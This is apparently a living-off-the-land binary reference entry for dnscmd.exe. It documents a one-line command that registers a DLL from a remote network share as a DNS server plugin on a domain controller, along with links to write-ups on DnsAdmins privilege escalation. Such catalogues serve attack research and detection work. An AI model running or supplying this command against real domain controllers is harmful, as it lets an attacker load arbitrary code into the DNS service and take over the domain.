- Functions: Execute
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Adds a specially crafted DLL as a plug-in of the DNS Service.
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Resources:
- https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
- https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
- https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
- https://twitter.com/Hexacorn/status/994000792628719618
- http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
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Full path:
- c:\windows\system32\Dnscmd.exe
- c:\windows\sysWOW64\Dnscmd.exe
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Notes: This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details. Thanks to Shay Ber - ?, Dimitrios Slamaris - @dim0x69, Nikhil SamratAshok, Mittal - @nikhil_mitt